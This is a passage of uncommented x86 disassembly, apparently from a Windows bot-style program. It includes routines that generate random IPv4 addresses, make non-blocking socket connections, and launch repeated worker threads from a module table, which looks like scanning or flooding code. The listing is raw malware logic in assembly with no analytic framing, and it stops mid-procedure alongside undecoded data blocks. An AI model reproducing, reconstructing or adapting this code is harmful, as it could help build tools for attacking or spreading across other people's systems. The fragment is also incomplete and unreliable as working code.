arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx nop call near ptr 2670000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset byte_412197 push ebx push ebx nop call near ptr 2680089h mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h nop call near ptr 2680000h jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call near ptr 2680880h nop push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx call near ptr 2670000h nop push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset word_40F3AA push ebx push ebx call near ptr 2680089h nop mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h nop call near ptr 2680000h jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj nop call near ptr 2680880h push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset dword_40F108 push ebx push ebx call near ptr 2680089h nop mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h nop call near ptr 2680000h jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej call near ptr 2680880h nop push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx call near ptr 2680089h nop mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h nop call near ptr 2680000h jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j nop call near ptr 2680880h push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC push esi mov edi, eax call dword_4CBA6C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 2690794h push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB20 call near ptr 77F7E300h nop jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 2680000h jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 nop call near ptr 26E0000h loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi nop call near ptr 26E07BAh push 80000400h push esi call near ptr 26E0632h nop test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j nop call near ptr 2680880h push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB24[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 nop call near ptr 26E07BAh loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 push eax mov edi, offset dword_4CE4E4 push offset dword_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 0D6E85757h, 90022736h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 9BE890FCh, 0FF02253Dh dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 90575700h dd 2735E4E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0ABE80875h, 9002253Ch, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: 